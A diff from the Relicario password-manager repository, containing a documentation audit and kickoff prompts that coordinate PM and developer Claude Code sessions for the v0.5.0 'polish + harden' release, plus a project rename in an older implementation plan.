### Nice-to-have — audit-friendliness
| # | Item |
|---|---|
| N1 | Wrap `nfc_passphrase: Vec<u8>` in `Zeroizing` in `derive_master_key` |
| N2 | `cargo audit` in CI |
| N3 | Validate Argon2id params on vault load — warn if below production minimums |
| N4 | Broaden steganography recompression tests to use ImageMagick/libjpeg-turbo (not just the `image` crate) |
| N5 | Consider machine-readable audit log encrypted alongside the vault |

View File

@@ -0,0 +1,169 @@
# Documentation Audit — 2026-05-02
Pre-v0.5.0 audit of Relicario's documentation against the current codebase.
## Summary
- **Total findings:** 14
- **Fixed inline:** 6
- **Need user input (proposed only):** 8
- **Top 3 recommendations:**
1. **Add `relicario-server` to architecture docs.** It exists in `crates/`, is referenced by SECURITY.md, and underpins device-auth, but `docs/architecture/overview.md`'s "three codebases" framing and `CLAUDE.md`'s project-structure tree still pretend it doesn't exist (Findings 1, 2, 9). This is the single biggest gap before tagging v0.5.0.
2. **Replace `CLAUDE.md`'s Roadmap.** It still says "Next: WASM build + Chrome MV3 browser extension (Plan 2)" — a milestone that shipped weeks ago. Multiple subsequent train rounds (typed items, attachments, backup, LastPass, device auth, fullscreen UX phases) have shipped, none of which are reflected (Finding 3).
3. **Rewrite the `docs/ARCHITECTURE.md` "Crate Architecture" + "Vault Creation Flow" sections** so they describe the v0.5.0 surface (typed items, settings.enc, device auth boundary, server crate, extension WASM) rather than the v0.1.0 freeze (Finding 10).
The codebase itself is well-documented — `crates/{relicario-core,relicario-cli}/ARCHITECTURE.md`, `extension/ARCHITECTURE.md`, and `docs/architecture/overview.md` are detailed and current. The drift is concentrated in **the top-level entry-point docs** (`README.md`, `CLAUDE.md`, `docs/ARCHITECTURE.md`) and in the SECURITY.md / overview.md edges.
---
## Findings
### Finding 1 — `relicario-server` crate is invisible in cross-codebase docs
**File:** `docs/architecture/overview.md` (lines 1448 — "The three codebases" + table)
**Issue:** The repo now has **four** Rust crates (`relicario-core`, `relicario-cli`, `relicario-wasm`, `relicario-server`) plus the extension. The framing "The three codebases" + accompanying ASCII diagram + four-row table all predate the May 2026 server crate. `relicario-server` is the pre-receive hook binary that enforces device-signature verification — load-bearing for the device-auth model that SECURITY.md already advertises.
**Fix:** Re-title the section ("The four codebases" or "The relicario codebases"), add a server box to the diagram, add a row to the table. The role is "Pre-receive Git hook that verifies commit signatures against `.relicario/devices.json` and `.relicario/revoked.json`".
**Severity:** must-fix-before-v0.5.0
**Status:** Proposed; needs user decision (>50 words of new prose; touches the framing of the whole overview doc)
---
### Finding 2 — `CLAUDE.md` project-structure tree omits `relicario-server`
**File:** `CLAUDE.md` (lines 2654)
**Issue:** The `crates/` tree only lists `relicario-core/`, `relicario-cli/`, `relicario-wasm/`. `relicario-server/` is missing. Since CLAUDE.md is the project-level summary every Claude session reads, this is the highest-leverage staleness.
**Fix:** Add a fourth crate entry for `relicario-server/` with `src/main.rs # pre-receive hook: verify_commit + generate_hook`.
**Severity:** must-fix-before-v0.5.0
**Status:** Proposed; needs user decision (CLAUDE.md is user-controlled per audit constraints)
---
### Finding 3 — `CLAUDE.md` Roadmap is severely stale
**File:** `CLAUDE.md` (lines 9193)
**Issue:** Says `Next: WASM build + Chrome MV3 browser extension (Plan 2). Then mobile (Rust core compiles to ARM).` Plan 2 (extension) shipped, then Plans 1A-1C, 3A (backup), 3B (LastPass), Plan 4 (security fixes + device auth), and Phases 1-2B of the fullscreen UX redesign all shipped. The current "next thing" per project memory is v0.5.0 polish + harden plus Phase 3/4 of fullscreen UX.
**Fix:** Replace with a current-state Roadmap line (e.g. `Next: v0.5.0 polish + harden, then Phase 3 (vault tab shell). Mobile (ARM) and recovery QR remain on the roadmap.`).
**Severity:** must-fix-before-v0.5.0
**Status:** Proposed; needs user decision (CLAUDE.md is user-controlled; phrasing is a judgment call)
---
### Finding 4 — `CLAUDE.md` says "Item IDs are random 8-char hex"
**File:** `CLAUDE.md` (line 79)
**Issue:** Audit M8 bumped `ItemId`/`FieldId` to 16-char hex (64 bits). Verified against `crates/relicario-core/src/ids.rs:3-4, 35-37` and `tests/integration` — they're 16 hex chars. The same line also doesn't mention that `AttachmentId` was bumped to 32 hex chars / 128 bits (audit I2/B4).
**Fix:** Change to: `Item IDs and Field IDs are random 16-char hex strings (64 bits of OsRng entropy). AttachmentIds are content-addressed: first 32 hex chars of SHA-256(plaintext) (128 bits, audit I2/B4).`
**Severity:** must-fix-before-v0.5.0
**Status:** Proposed; needs user decision (CLAUDE.md is user-controlled)
---
### Finding 5 — `docs/architecture/overview.md` conventions table also says "8-char hex"
**File:** `docs/architecture/overview.md` (line 180)
**Issue:** Same M8 bump; the conventions table at line 180 said `Item IDs are random 8-char hex`.
**Fix:** Update to 16-char hex / 64 bits, and bump the AttachmentId row to mention the 128-bit width.
**Severity:** must-fix-before-v0.5.0
**Status:** Fixed inline in `docs/architecture/overview.md`
---
### Finding 6 — `README.md` uses obsolete `entries/` directory layout
**File:** `README.md` (lines 36, 117118, 147149)
**Issue:** References to `entries/*.enc` and the `entry.rs` module are pre-typed-items vocabulary. The on-disk layout is now `items/<id>.enc` + `attachments/<item-id>/<aid>.enc` + `settings.enc`; the core module is `item.rs` + `item_types/`. The README is the security proof and the first thing visitors read — getting the on-disk shape wrong hurts the legibility-as-security pitch.
**Fix:** Replace `entries/` with `items/`. Add `settings.enc`, `attachments/<item-id>/<aid>.enc`, and (for device-auth) `revoked.json`. Rewrite the `crates/` tree to match the actual seven-module shape and add `relicario-wasm` and `relicario-server`. Update item-ID width to 16-char hex.
**Severity:** must-fix-before-v0.5.0
**Status:** Fixed inline in `README.md`
---
### Finding 7 — `README.md` Roadmap lists shipped features as upcoming
**File:** `README.md` (lines 184192)
**Issue:** All of these are checked off in real life but unchecked in the doc: WASM/Chrome extension, secure notes, secure document storage, LastPass import, Firefox extension. Only Bitwarden/1Password import, the unlock daemon, mobile, and Safari are still unstarted.
**Fix:** Mark the shipped items as `[x]`; add Firefox WebExtension, typed items, backup/restore, LastPass CSV import, and device authentication as completed; keep Bitwarden/1Password import, unlock daemon, mobile, Safari as open.
**Severity:** must-fix-before-v0.5.0
**Status:** Fixed inline in `README.md`
---
### Finding 8 — `docs/ARCHITECTURE.md` ASCII vault layout uses `entries/` and lacks settings/attachments/revoked
**File:** `docs/ARCHITECTURE.md` (lines 4553)
**Issue:** Same staleness as README Finding 6. The "GIT SERVER (untrusted)" box shows only `manifest.enc` + `entries/<id>.enc` + `.relicario/{salt,params.json,devices.json}`. Missing: `settings.enc`, `attachments/<item-id>/<aid>.enc`, `revoked.json`. ID lengths are 8-char hex (`a1b2c3d4`) instead of 16-char hex.
**Fix:** Update box to current layout including settings.enc, attachments tree, revoked.json, and 16-char IDs.
**Severity:** must-fix-before-v0.5.0
**Status:** Fixed inline in `docs/ARCHITECTURE.md`
---
### Finding 9 — `docs/ARCHITECTURE.md` "Crate Architecture" omits wasm + server crates
**File:** `docs/ARCHITECTURE.md` (lines 208235)
**Issue:** The bottom box of the "Crate Architecture" diagram says `Future: relicario-wasm wraps this for browser extension` and `Future: JNI/Swift wrappers for Android/iOS`. WASM is no longer future — it shipped. The `relicario-server` crate isn't mentioned at all. The `relicario-core` module list inside the box still says `entry / Manifest / search`, predating the typed-items rewrite (`item`, `item_types/`, `settings`, `attachment`, `backup`, `device`).
**Fix:** Replace the inner-box module names with the current set; remove the "Future: relicario-wasm" line and add a "Consumed by" line listing all three downstream crates including server.
**Severity:** must-fix-before-v0.5.0
**Status:** Fixed inline in `docs/ARCHITECTURE.md`
---
### Finding 10 — `docs/ARCHITECTURE.md` "Vault Creation Flow" doesn't reflect typed-items or settings.enc
**File:** `docs/ARCHITECTURE.md` (lines 6089)
**Issue:** The vault-creation pipeline in this doc shows `master_key → XChaCha20-Poly1305 → manifest.enc` only. In reality `cmd_init` also encrypts and writes `settings.enc` (default `VaultSettings`). Field-history-tracked items, attachments, the `Item` envelope shape — none of these are in the flow doc. Without context on typed items, a new contributor reading this doc would have a v0.1-era model of the system.
**Fix:** Add a settings.enc step to the flow; either expand the items section or note that the full item lifecycle is in `crates/relicario-core/ARCHITECTURE.md`.
**Severity:** nice-to-have (the per-codebase ARCHITECTURE.md files are the source of truth; this top-level doc could just point at them)
**Status:** Proposed; needs user decision (>50 words of new prose, design choice between rewriting vs trimming)
---
### Finding 11 — `docs/SECURITY.md` "Device registration was optional before v0.4.0" is undated/misleading
**File:** `docs/SECURITY.md` (lines 6062)
**Issue:** Says `Device registration was optional before v0.4.0. With device auth enabled, all commits must be signed by a registered device.` But (a) v0.4.0 hasn't been tagged yet — the changelog goes v0.1.0 → v0.2.0 → "Unreleased", and the next tag-in-flight per project memory is v0.5.0; (b) per the v0.5.0 polish + harden spec, device-auth enforcement is **currently a no-op** because the pre-receive hook fix (S1) hasn't landed. Saying "all commits MUST be signed" is aspirational, not current.
**Fix:** Reword to clarify (a) the actual version line (e.g. "Pre-v0.5.0 vaults can opt out by leaving `devices.json` empty"), AND (b) acknowledge that signature *enforcement* depends on the pre-receive hook being deployed and the S1 fix landing. Could just be a one-line caveat.
**Severity:** must-fix-before-v0.5.0 (security-doc accuracy is part of the legibility pitch)
**Status:** Proposed; needs user decision (security wording — exact phrasing matters)
---
### Finding 12 — `docs/SECURITY.md` doesn't mention `relicario-server`
**File:** `docs/SECURITY.md` (lines 4451)
**Issue:** The "Device Authentication" section refers to a "pre-receive hook" but never says it lives in `crates/relicario-server`, what binary the hook calls (`relicario-server verify-commit <sha>`), or how to install it (`relicario-server generate-hook`). For a self-hosted user reading this to decide whether to enable it, those are the two essential operational facts.
**Fix:** Add a short paragraph naming the crate and the two subcommands, pointing to the design spec.
**Severity:** nice-to-have
**Status:** Proposed; needs user decision (>50 words of new prose)
---
### Finding 13 — Foundational design spec's "Post-V1 Ideas" lists shipped features
**File:** `docs/superpowers/specs/2026-04-11-relicario-design.md` (lines 351361)
**Issue:** This doc is explicitly historical (per `docs/architecture/overview.md` "Stale spec docs" disclaimer), so editing it as architecture would violate convention. Still worth flagging that "Post-V1 Ideas" lists secure notes, secure documents, mobile, LastPass import, Firefox extension, TOTP — most of which have shipped. Per project policy this is *informational only*; the spec is a time-stamped decision artifact.
**Fix:** None — leave alone. If desired, prepend a one-line "Status: V1 shipped 2026-04-22; many Post-V1 ideas have since landed — see CHANGELOG.md" at the top of the file.
**Severity:** informational
**Status:** Proposed; needs user decision (touches a historical spec the user may want to leave frozen)
---
### Finding 14 — Lowercase "relicario" in prose contexts
**File:** `README.md` (line 67), `docs/ARCHITECTURE.md` (none found in prose), `docs/architecture/overview.md` (none found in prose), `docs/SECURITY.md` (none found in prose)
**Issue:** Per CLAUDE.md, "Relicario" should be capitalized in prose. A search across the audit-scope docs finds no uppercase-violations — most prose lowercase usages are in code paths (`.relicario/`, `relicario init`, `relicario-core`) which are correctly lowercase per the rule. The README at line 67 ("Relicario generates unique passwords per site") is correctly capitalized; line 26 ("Relicario embeds a random 256-bit secret") is correct. **No lowercase prose occurrences found.** This finding is "checked, no action needed."
**Fix:** N/A
**Severity:** informational
**Status:** No action needed (recorded for completeness)
---
## Inline-fix verification
Files modified during this audit:
- `README.md` — vault layout (`items/`, `settings.enc`, `attachments/`), crate tree (added `relicario-wasm`, `relicario-server`, typed-items modules), ID width, Roadmap.
- `docs/ARCHITECTURE.md` — git-server box (`items/`, `settings.enc`, `attachments/`, `revoked.json`), crate-architecture inner box (current core modules), removed "Future: relicario-wasm" line.
- `docs/architecture/overview.md` — conventions table (16-char hex IDs, 128-bit AttachmentIds).
No source files, `Cargo.lock`, or extension code were modified. CLAUDE.md, SECURITY.md, and the foundational design spec were not modified — those changes need user review per the audit constraints.

View File

@@ -0,0 +1,128 @@
# Dev A Kickoff Prompt — v0.5.0 Plan A (Security + Cleanup)
Paste everything below the `---` line into a fresh Claude Code terminal as the first user message.
---
You are a **senior developer** owning Plan A for the Relicario v0.5.0 "polish + harden" release. Plan A is Rust + docs work: the security-vulnerability anchor (pre-receive hook), tar hardening, env-var audit, and a stale-branch cleanup. A PM in another terminal coordinates you with Dev B (extension UX). The user relays messages between terminals.
## Setup (do this first)
```bash
cd /home/alee/Sources/relicario
git fetch
git checkout main
git pull
git worktree add ../relicario.plan-a -b feature/v0.5.0-plan-a-security-cleanup
cd ../relicario.plan-a
pwd # should print /home/alee/Sources/relicario.plan-a
```
**ALL subsequent work happens in `/home/alee/Sources/relicario.plan-a`**. Project memory note: subagent prompts MUST start with `cd /home/alee/Sources/relicario.plan-a` — otherwise subagents commit to main.
Today: 2026-05-02. Project rules in `CLAUDE.md` apply.
## Required reading (in order)
1. `CLAUDE.md` — project rules
2. `docs/superpowers/specs/2026-05-02-v0.5.0-polish-harden-design.md` — spec (your scope is **S1, S2, S3, C1 only**)
3. `docs/superpowers/plans/2026-05-02-v0.5.0-plan-a-security-cleanup.md` — your plan, execute task by task
## Execution mode
Use **subagent-driven-development** (per project memory's default). Invoke `superpowers:subagent-driven-development` and follow it: fresh subagent per task, two-stage review between tasks.
**Every subagent prompt MUST start with**:
```
cd /home/alee/Sources/relicario.plan-a
```
…before any other instruction. This is non-negotiable per project memory.
## Your scope and boundaries
**In scope:** S1 (pre-receive hook), S2 (tar hardening), S3 (env-var audit), C1 (branch cleanup).
**Out of scope:** anything in Plan B (B1, P1-P4). If you trip over a Plan B issue or a new bug while doing your work, file it via a `## QUESTION TO PM` block and keep moving.
**Hard rules:**
- S1 is HIGH-severity security. Don't relax acceptance tests or skip any of the four scenarios (registered-accepted, unregistered-rejected, revoked-after-rejected, revoked-before-historical-accepted).
- C1 is git-destructive (`git branch -D`). For each of the five branches, print the merge-status check, then ask the user **before** deletion. Do not batch the deletes.
- Do not merge your branch to main. The PM owns merges.
- Do not push `--force` or run `git reset --hard`. Per `CLAUDE.md`: ask first.
## Coordination protocol
You are one of three terminals. The user relays messages between them.
**Emit at every task boundary** (when you complete a task, get blocked, or want to ask):
```
## STATUS UPDATE — DEV-A
Time: <iso8601 like 2026-05-02T14:30:00-07:00>
Branch: feature/v0.5.0-plan-a-security-cleanup
Task: <number / short name>
Status: STARTED | IN-PROGRESS | DONE | BLOCKED | REVIEW-READY
Last commit: <short sha + first line of message>
Tests: <green | red (which failed) | N/A>
Notes: <anything PM needs to know — keep to 3 sentences max>
```
**Emit when you need PM input mid-task**:
```
## QUESTION TO PM — DEV-A
Time: <iso8601>
Context: <what task, what decision point>
Options: <A: ... / B: ... / C: ...>
Recommended: <your pick + one-sentence rationale>
Blocker: yes | no (does work stop without an answer?)
```
**You'll receive (pasted by user)**: `## DIRECTIVE TO DEV-A` blocks from the PM. Acknowledge and act.
## Authority within the plan
You don't need PM permission to:
- Execute task-to-task per the plan
- Make implementation decisions consistent with the plan and spec
- Write tests, refactor your own code, fix bugs you introduce
- Push commits to your feature branch
You **do** escalate to PM when:
- A scope question outside the plan
- A test you can't make green after honest debugging (don't fudge — debug)
- A discovered bug not in your plan
- Anything destructive (per project rules)
- Before opening the PR for review
## Final steps before REVIEW-READY
1. Full `cargo test` (workspace) — must be green
2. `cargo build -p relicario-wasm --target wasm32-unknown-unknown` — must succeed
3. `cargo clippy --workspace --all-targets -- -D warnings` — must succeed
4. Push the branch: `git push -u origin feature/v0.5.0-plan-a-security-cleanup`
5. Open PR: `gh pr create --base main --head feature/v0.5.0-plan-a-security-cleanup --title "v0.5.0 Plan A: security + cleanup" --body "$(cat <<'EOF'
## Summary
Implements Plan A for v0.5.0 polish + harden:
- S1: pre-receive hook fix (HIGH-severity revocation/registered-device bypass)
- S2: tar archive path-traversal hardening on backup restore
- S3: RELICARIO_* env-var audit + cfg-gating of dev-only vars
- C1: stale local branch cleanup
Spec: docs/superpowers/specs/2026-05-02-v0.5.0-polish-harden-design.md
Plan: docs/superpowers/plans/2026-05-02-v0.5.0-plan-a-security-cleanup.md
## Test plan
- [x] cargo test (workspace) green
- [x] cargo build -p relicario-wasm --target wasm32-unknown-unknown
- [x] cargo clippy --workspace --all-targets -- -D warnings
- [ ] PM review
🤖 Generated with [Claude Code](https://claude.com/claude-code)
EOF
)"`
6. Emit `## STATUS UPDATE` with `Status: REVIEW-READY` and the PR URL
## First action
After reading: emit a `## STATUS UPDATE` confirming setup complete (worktree created, plan absorbed, on `feature/v0.5.0-plan-a-security-cleanup`), then start Task 1 of Plan A.

View File

@@ -0,0 +1,138 @@
# Dev B Kickoff Prompt — v0.5.0 Plan B (Extension UX)
Paste everything below the `---` line into a fresh Claude Code terminal as the first user message.
---
You are a **senior developer** owning Plan B for the Relicario v0.5.0 "polish + harden" release. Plan B is extension UX work: error-copy centralization, strength-meter regenerate fix, password coloring, form-layout polish, and setup-wizard → fullscreen vault tab handoff. A PM in another terminal coordinates you with Dev A (Rust security + cleanup). The user relays messages between terminals.
## Setup (do this first)
```bash
cd /home/alee/Sources/relicario
git fetch
git checkout main
git pull
git worktree add ../relicario.plan-b -b feature/v0.5.0-plan-b-extension-ux
cd ../relicario.plan-b
pwd # should print /home/alee/Sources/relicario.plan-b
```
**ALL subsequent work happens in `/home/alee/Sources/relicario.plan-b`**. Project memory note: subagent prompts MUST start with `cd /home/alee/Sources/relicario.plan-b` — otherwise subagents commit to main.
Today: 2026-05-02. Project rules in `CLAUDE.md` apply.
## Required reading (in order)
1. `CLAUDE.md` — project rules
2. `docs/superpowers/specs/2026-05-02-v0.5.0-polish-harden-design.md` — spec (your scope is **B1, P1, P2, P3, P4 only**; B2 is folded into P4)
3. `docs/superpowers/plans/2026-05-02-v0.5.0-plan-b-extension-ux.md` — your plan, execute task by task
4. `docs/superpowers/specs/2026-05-01-password-coloring-design.md` — spec for P1 (already inlined into your plan, this is the reference design)
## Execution mode
Use **subagent-driven-development** (per project memory's default). Invoke `superpowers:subagent-driven-development` and follow it: fresh subagent per task, two-stage review between tasks.
**Every subagent prompt MUST start with**:
```
cd /home/alee/Sources/relicario.plan-b
```
…before any other instruction. This is non-negotiable per project memory.
## Your scope and boundaries
**In scope:** B1 (strength meter regenerate desync), P4 (error copy centralization, subsumes B2), P1 (password coloring inlined), P3 (form layout envelope), P2 (setup → fullscreen tab handoff).
**Out of scope:** anything in Plan A (S1, S2, S3, C1). If you trip over a Plan A issue or a new bug while doing your work, file it via a `## QUESTION TO PM` block and keep moving.
**Hard rules:**
- Don't ship a UI surface that still leaks raw `snake_case` error codes — P4's whole point is centralizing this.
- For P3, the spec recommends Approach A (envelope constraint). The plan codifies that. If you discover at implementation time that A doesn't work and B (card-wrap) is needed, escalate via `## QUESTION TO PM` — don't switch silently.
- Do not merge your branch to main. The PM owns merges.
- Do not push `--force` or run `git reset --hard`. Per `CLAUDE.md`: ask first.
## Coordination protocol
You are one of three terminals. The user relays messages between them.
**Emit at every task boundary** (when you complete a task, get blocked, or want to ask):
```
## STATUS UPDATE — DEV-B
Time: <iso8601 like 2026-05-02T14:30:00-07:00>
Branch: feature/v0.5.0-plan-b-extension-ux
Task: <number / short name>
Status: STARTED | IN-PROGRESS | DONE | BLOCKED | REVIEW-READY
Last commit: <short sha + first line of message>
Tests: <green | red (which failed) | N/A>
Notes: <anything PM needs to know — keep to 3 sentences max>
```
**Emit when you need PM input mid-task**:
```
## QUESTION TO PM — DEV-B
Time: <iso8601>
Context: <what task, what decision point>
Options: <A: ... / B: ... / C: ...>
Recommended: <your pick + one-sentence rationale>
Blocker: yes | no (does work stop without an answer?)
```
**You'll receive (pasted by user)**: `## DIRECTIVE TO DEV-B` blocks from the PM. Acknowledge and act.
## Authority within the plan
You don't need PM permission to:
- Execute task-to-task per the plan
- Make implementation decisions consistent with the plan and spec
- Write tests, refactor your own code, fix bugs you introduce
- Push commits to your feature branch
You **do** escalate to PM when:
- A scope question outside the plan
- A test you can't make green after honest debugging (don't fudge — debug)
- A discovered bug not in your plan
- Anything destructive (per project rules)
- For P3, if Approach A doesn't work and you need to switch to B
- Before opening the PR for review
## Final steps before REVIEW-READY
1. Extension test suite green: `cd extension && pnpm test`
2. Extension build green: `cd extension && pnpm build`
3. WASM build still green (sanity): `cd .. && cargo build -p relicario-wasm --target wasm32-unknown-unknown`
4. Manual viewport sweep for P3: 1920×1080, 1440×900, 1024×768, 768×1024 — note any quirks in the PR description
5. Manual smoke for P2: complete a fresh setup; vault tab opens, setup tab closes
6. Push the branch: `git push -u origin feature/v0.5.0-plan-b-extension-ux`
7. Open PR: `gh pr create --base main --head feature/v0.5.0-plan-b-extension-ux --title "v0.5.0 Plan B: extension UX" --body "$(cat <<'EOF'
## Summary
Implements Plan B for v0.5.0 polish + harden:
- P4: centralized ERROR_COPY map (subsumes B2 vault_locked leak)
- B1: strength-meter regenerate desync fix (input event dispatch)
- P1: password coloring (per the 2026-05-01 spec)
- P3: form-layout envelope constraint (Approach A)
- P2: setup wizard → fullscreen vault tab handoff
Spec: docs/superpowers/specs/2026-05-02-v0.5.0-polish-harden-design.md
Plan: docs/superpowers/plans/2026-05-02-v0.5.0-plan-b-extension-ux.md
## Test plan
- [x] pnpm test green
- [x] pnpm build green
- [x] cargo build -p relicario-wasm green
- [x] Manual viewport sweep — see notes below
- [x] Manual setup-flow smoke — vault tab opens, setup closes
- [ ] PM review
### Viewport sweep notes
<fill in any quirks observed at each resolution; "none" is acceptable>
🤖 Generated with [Claude Code](https://claude.com/claude-code)
EOF
)"`
8. Emit `## STATUS UPDATE` with `Status: REVIEW-READY` and the PR URL
## First action
After reading: emit a `## STATUS UPDATE` confirming setup complete (worktree created, plan absorbed, on `feature/v0.5.0-plan-b-extension-ux`), then start Task 1 of Plan B (P4: error-copy map).

View File

@@ -0,0 +1,113 @@
# PM Kickoff Prompt — v0.5.0 Polish + Harden
Paste everything below the `---` line into a fresh Claude Code terminal as the first user message.
---
You are the **project manager** for the Relicario v0.5.0 "polish + harden" release. Two senior developers report to you, each working in their own terminal on a parallel feature branch. The user runs all three terminals and relays messages between them.
## Setup
- Working directory: `/home/alee/Sources/relicario`
- Branch: stay on `main`. Do not check out feature branches.
- Today: 2026-05-02. Project rules in `CLAUDE.md` apply (Spanish flourish, capitalization, autonomy defaults, never run git-destructive commands without asking).
## Required reading (in order)
1. `CLAUDE.md` — project rules
2. `docs/superpowers/specs/2026-05-02-v0.5.0-polish-harden-design.md` — the bundle spec
3. `docs/superpowers/plans/2026-05-02-v0.5.0-plan-a-security-cleanup.md` — Dev A's plan (Rust + cleanup)
4. `docs/superpowers/plans/2026-05-02-v0.5.0-plan-b-extension-ux.md` — Dev B's plan (extension UX)
5. `docs/superpowers/audits/2026-05-02-doc-audit.md` — your direct work (8 proposed findings still need action; 6 trivial fixes already merged in commit `900ccf1`)
## Your authority
- Approve or deny scope changes from devs
- Review and merge PRs from `feature/v0.5.0-plan-a-security-cleanup` and `feature/v0.5.0-plan-b-extension-ux`
- **Drive the doc-audit follow-ups directly** (the 8 proposed findings) — this is your hands-on work
- Write the `CHANGELOG.md` entry for v0.5.0
- Tag `v0.5.0` once everything is integrated **— but only after explicit user approval**
## Your boundaries
- Don't write feature code yourself. Edits to docs / CHANGELOG / CLAUDE.md are fine.
- Don't deviate from the spec without user approval.
- Don't merge a PR until the dev says `REVIEW-READY` and you've run `gh pr diff` to confirm.
- Don't tag without user approval.
- Project rule: ask the user before any git-destructive op (`git push --force`, `git reset --hard`, `git branch -D`).
## Judgment calls in the plans worth flagging
The subagents who drafted the plans flagged these decisions for your awareness:
- **Plan A:** `safe_unpack_git_archive` was moved from `relicario-cli` to `relicario-core` so integration tests can reach it (matches the bytes-in/bytes-out core philosophy). Tar-bomb test sets the *header's* claimed size to 2 GiB rather than allocating 1 TiB. Adds `regex` as a runtime dep of `relicario-server`.
- **Plan B:** P1 (password coloring) was *inlined* into Plan B rather than referenced. P3 went with Approach A (envelope constraint, not card-wrap). P4 keeps `humanizeError` as a thin shell for non-snake_case translators.
If any of these conflict with your judgment, raise it with the user before kickoff.
## Coordination protocol
You are one of three terminals. The user relays messages between them.
**You receive (pasted by user):** a `## STATUS UPDATE — DEV-A` or `## STATUS UPDATE — DEV-B` block, or a `## QUESTION TO PM — DEV-X` block.
**You emit (for user to paste back):** a `## DIRECTIVE TO DEV-A` (or `DEV-B`) block. Format:
```
## DIRECTIVE TO DEV-A
Time: <iso8601>
Action: PROCEED | HOLD | RESCOPE | REVIEW-COMPLETE | MERGE-APPROVED
Notes: <one paragraph max>
Next: <one concrete instruction or "continue plan">
```
When asked "status?" by the user at any time, give a current rollup:
```
## RELEASE STATUS — v0.5.0
Dev A: <task X of Y, status>
Dev B: <task X of Y, status>
PM: <which doc finding, status>
Blockers: <list, or "none">
Next milestone: <e.g., "Dev A REVIEW-READY", "tag v0.5.0">
```
## Reviewing PRs
When a dev posts `Action: REVIEW-READY` with a PR URL:
1. `gh pr view <url>` to read description and CI status
2. `gh pr diff <url>` to read changes
3. Check the diff against the spec and plan acceptance criteria
4. If green: post `Action: MERGE-APPROVED` and run `gh pr merge --merge` (no squash — git history is preserved per project rule)
5. If red: post `Action: HOLD` with specific concerns the dev needs to address
Use the `superpowers:requesting-code-review` skill if you want a deeper independent review from a fresh subagent before approving.
## Doc-audit follow-ups (your direct work)
The 8 proposed findings in `docs/superpowers/audits/2026-05-02-doc-audit.md` are yours. Pick up while the devs are working in parallel. Pay particular attention to:
1. `relicario-server` is invisible in cross-codebase docs (`docs/architecture/overview.md`, `CLAUDE.md` project tree)
2. `CLAUDE.md` Roadmap line is stale ("Next: WASM extension (Plan 2)")
3. `docs/SECURITY.md` overstates current device-auth enforcement — note that S1 is the fix that makes this true
For findings that touch `CLAUDE.md`, propose the change in a status block to the user — don't edit it without approval.
## Pre-tag checklist
Before tagging v0.5.0:
- [ ] `feature/v0.5.0-plan-a-security-cleanup` merged to main
- [ ] `feature/v0.5.0-plan-b-extension-ux` merged to main
- [ ] All 8 doc-audit findings actioned (fixed, deferred, or dropped)
- [ ] `CHANGELOG.md` entry for v0.5.0 written
- [ ] `cargo test` green on main
- [ ] `cargo build -p relicario-wasm --target wasm32-unknown-unknown` green
- [ ] Extension build green (`cd extension && pnpm build`)
- [ ] User-driven smoke test of the merged result
- [ ] Pre-v0.3.0 manual test walk done (`docs/test-checklists/2026-04-27-pre-v0.3.0-audit.md`) — bundles forward since v0.3.0 was never tagged
- [ ] Explicit user approval to tag
## First action
After reading: emit a `## RELEASE STATUS` block confirming you've absorbed the spec, both plans, and the audit. Note the three judgment calls in the plans for the user's awareness, and propose your starting doc-audit finding. Wait for user input or a status update from a dev.

View File

@@ -1,46 +1,46 @@
# idfoto Core + CLI Implementation Plan
# Relicario Core + CLI Implementation Plan
> **For agentic workers:** REQUIRED SUB-SKILL: Use superpowers:subagent-driven-development (recommended) or superpowers:executing-plans to implement this plan task-by-task. Steps use checkbox (`- [ ]`) syntax for tracking.
**Goal:** Build a working git-backed password manager with a Rust core library and CLI that can create vaults, add/get/list/edit/rm credentials, sync via git, and manage device keys — all backed by the reference-image + passphrase two-factor KDF.
**Architecture:** Cargo workspace with two crates: `idfoto-core` (platform-agnostic library — KDF, AEAD, vault format, imgsecret DCT embedding) and `idfoto-cli` (filesystem, git, terminal I/O). The core takes bytes and returns bytes; the CLI handles all platform interaction. TDD throughout.
**Architecture:** Cargo workspace with two crates: `relicario-core` (platform-agnostic library — KDF, AEAD, vault format, imgsecret DCT embedding) and `relicario-cli` (filesystem, git, terminal I/O). The core takes bytes and returns bytes; the CLI handles all platform interaction. TDD throughout.
**Tech Stack:** Rust (stable, 2021 edition), argon2, chacha20poly1305, image, serde/serde_json, clap, ed25519-dalek
**Scope:** This is Plan 1 of 2. This plan covers `idfoto-core` and `idfoto-cli`. Plan 2 (idfoto-wasm + Chrome extension) follows after this is working. This plan produces a complete, usable CLI password manager.
**Scope:** This is Plan 1 of 2. This plan covers `relicario-core` and `relicario-cli`. Plan 2 (relicario-wasm + Chrome extension) follows after this is working. This plan produces a complete, usable CLI password manager.
**Prerequisites:** Rust stable installed via `rustup`. Git installed. A test JPEG image (any cell phone photo) available for manual testing.
**Design spec:** `docs/superpowers/specs/2026-04-11-idfoto-design.md`
**Design spec:** `docs/superpowers/specs/2026-04-11-relicario-design.md`
---
## File Structure
```
idfoto/ (project root = /home/alee/Sources/axsbadge.me)
relicario/ (project root = /home/alee/Sources/relicario)
├── Cargo.toml # workspace root
├── crates/
│ ├── idfoto-core/
│ ├── relicario-core/
│ │ ├── Cargo.toml
│ │ └── src/
│ │ ├── lib.rs # re-exports public API
│ │ ├── error.rs # IdfotoError enum (thiserror)
│ │ ├── error.rs # RelicarioError enum (thiserror)
│ │ ├── crypto.rs # derive_master_key(), encrypt(), decrypt()
│ │ ├── entry.rs # Entry, ManifestEntry, Manifest structs
│ │ ├── vault.rs # encrypt/decrypt entries + manifest, binary format
│ │ └── imgsecret.rs # embed(), extract() — DCT embedding primitive
│ └── idfoto-cli/
│ └── relicario-cli/
│ ├── Cargo.toml
│ └── src/
│ └── main.rs # clap CLI with all subcommands
├── docs/
│ └── superpowers/
│ ├── specs/
│ │ └── 2026-04-11-idfoto-design.md
│ │ └── 2026-04-11-relicario-design.md
│ └── plans/
│ └── 2026-04-11-idfoto-core-cli.md (this file)
│ └── 2026-04-11-relicario-core-cli.md (this file)
└── README.md
```
@@ -50,10 +50,10 @@ idfoto/ (project root = /home/alee/Sources/axsbadge
**Files:**
- Create: `Cargo.toml`
- Create: `crates/idfoto-core/Cargo.toml`
- Create: `crates/idfoto-core/src/lib.rs`
- Create: `crates/idfoto-cli/Cargo.toml`
- Create: `crates/idfoto-cli/src/main.rs`
- Create: `crates/relicario-core/Cargo.toml`
- Create: `crates/relicario-core/src/lib.rs`
- Create: `crates/relicario-cli/Cargo.toml`
- Create: `crates/relicario-cli/src/main.rs`
- [ ] **Step 1: Create workspace root Cargo.toml**
